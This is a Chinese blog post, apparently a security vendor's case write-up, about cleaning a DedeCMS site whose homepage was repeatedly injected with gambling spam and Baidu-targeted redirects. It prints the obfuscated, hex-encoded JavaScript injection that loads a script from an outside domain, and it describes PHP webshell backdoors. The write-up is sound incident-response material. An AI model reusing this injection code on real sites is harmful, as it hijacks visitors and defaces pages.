1. 程式人生 > >如何解決網站首頁老被黑客篡改並被百度安全中心攔截提示 該頁面存在木馬病毒的實戰過程

如何解決網站首頁老被黑客篡改並被百度安全中心攔截提示 該頁面存在木馬病毒的實戰過程

2018.6.19當天接到一位新客戶反映自己的網站被黑了,網站首頁也被黑客篡改了,網站首頁被加了一些與網站不相符的內容與加密的程式碼,導致百度網址安全中心提醒您:該頁面可能存在木馬病毒!網站在百度的收錄與快照也被劫持成什麼世界盃投注,以及博彩,賭博等等的內容,根據以上客戶給我們反映的網站被黑的問題,我們Sine安全公司立即安排安全技術人員對客戶網站被黑的情況進行了詳細的網站安全檢測與程式碼的人工安全審計,發現客戶網站首頁之前是經常的被篡改,客戶只能刪除掉首頁檔案,然後重新生成首頁,實在是反覆被篡改的沒辦法了,才找到我們SINE安全公司來處理網站的安全問題.

一.網站被黑的狀況分析

1.客戶的網站採用的是,織夢DEDECMS系統(PHP+MYSQL資料庫架構),dedecms漏洞在近幾年實在是爆出了太多,但是現在用dedecms做網站以及平臺的也很多,一般企業站或做優化排名的網站都是用這個織夢的程式來做,優化快,訪問速度也快,全站可以靜態檔案生成,方便管理更新文章,也方便網站開啟的速度,以及關鍵詞方面的優化與提升。通過與客戶的溝通了解,發現客戶的網站,只要是釋出新的文章,並在後臺生成新的html頁面,或者生成首頁index.html,就會被攻擊者直接增加了一些加密的程式碼與賭博的內容,圖片如下:

網站被篡改的內容都是加了一些什麼,極速賽車,賭博,博彩、賭球,世界盃投注的與網站不相關的內容,而且這個網站程式碼還做了JS判斷跳轉,針對於Baidu搜尋來的客戶,會直接跳轉到這個極速賽車、賭博、博彩的頁面,導致360提示博彩網站攔截,百度提示風險攔截的圖片如下:

網站在百度的搜尋中會直接風險提示:百度網址安全中心提醒你:該頁面可能存在木馬病毒。

通過對客戶網站的所有程式碼的安全檢測與程式碼的人工安全審計,發現網站首頁index.html中的內容被篡改,並發現在dedecms模板目錄檔案下的index.htm檔案也被篡改了。

我們來開啟index.htm模板檔案,看下程式碼:

下面的這一段程式碼是加密的JS跳轉程式碼,是根據百度搜索等相應的條件,進行判斷,然後跳轉,直接輸入網站域名不會跳轉。

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x38\x30\x30\x30\x6b\x61\x69\x2e\x63\x6f\x6d\x2f\x73\x74\x61\x74\x69\x63\x2f\x6a\x73\x2f\x38\x30\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

上面查到一些加密的程式碼,用編碼的解密查到,是一些博彩與賭球相關的內容,我們把生成首頁後被篡改的內容直接刪除掉,然後對其網站裡留存下來的木馬病毒,以及木馬後門進行清除,並做好網站的漏洞檢測與漏洞修復,部署網站防篡改方案。

二.網站被黑的清理過程記錄

1.網站經過SINE安全技術的安全審計後,在安全的處理過程中發現網站根目錄下的datas.php檔案內容屬於assert型別的一句話木馬。

那麼既然發現有一句話木馬,那肯定是存在PHP指令碼木馬的,隨即發現在css目錄下有個檔案是加密的程式碼,我們訪問該木馬地址,進行了訪問發現的確是木馬病毒的,所在圖片如下:

該PHP指令碼木馬的操作許可權實在是太大了,對檔案的編輯以及改名,以及執行惡意的sql語句,檢視伺服器的系統資訊都可以看的很清楚.對網站的所有程式程式碼,進行了木馬特徵掃描,發現了N個網站木馬檔案,怪不得客戶自己說反反覆覆的出現被黑,網站被篡改的都快要吐血了。掃描到的木馬病毒如下圖所示:

這麼多個指令碼木馬後門,我們安全技術直接進行了全部刪除清理,由於客戶網站用的是單獨的伺服器。那麼對伺服器的安全也要進行詳細的安全加固和網站安全防護,檢視到網站的mysql資料庫,分配給網站使用的是root許可權,(用root管理員許可權會導致整個伺服器都會被黑,增加了攻擊風險)我們給客戶伺服器增加了一個普通許可權的資料庫賬戶分配給網站,資料庫的埠3306以及135埠445埠139埠都進行了埠安全策略部署,杜絕外網一切連線,只允許內網連線,對伺服器進行了詳細的伺服器安全設定和部署,後續我們對網站的所有檔案,程式碼,圖片,資料庫裡的內容,進行了詳細的安全檢測與對比,從SQL注入測試、XSS跨站安全測試、表單繞過、檔案上傳漏洞測試、檔案包含漏洞檢測、網頁掛馬、網頁後門木馬檢測、包括一句話小馬、aspx大馬、指令碼木馬後門、敏感資訊洩露測試、任意檔案讀取、目錄遍歷、弱口令安全檢測等方面進行了全面的安全檢測,與漏洞修復,至此客戶網站被黑的問題才得以完美的解決。因為之前客戶都是平均一天被篡改兩三次,從做安全部署到今天20號,客戶網站訪問一切正常,沒有被篡改

三.針對於網站被黑的防護建議

1.定期的更新伺服器系統漏洞(windows 2008 2012、linux centos系統),網站系統升級,儘量不適用第三方的API外掛程式碼。

2.如果自己對程式程式碼不是太瞭解的話,建議找網站安全公司去修復網站的漏洞,以及程式碼的安全檢測與木馬後門清除,國內推薦SINE安全公司、綠盟安全公司、啟明星辰等的網站安全公司,做深入的網站安全服務,來保障網站的安全穩定執行,防止網站被掛馬之類的安全問題。

3.儘量不要把網站的後臺使用者的密碼設定的太簡單化,要符合10到18位的大小寫字母+數字+符號組合。

4.網站後臺管理的路徑一定不能用預設的admin或guanli或manage 或檔名為admin.asp的路徑去訪問。

5.伺服器的基礎安全設定必須要詳細的做好,埠的安全策略,登錄檔安全,底層系統的安全加固,否則伺服器不安全,網站再安全也沒用。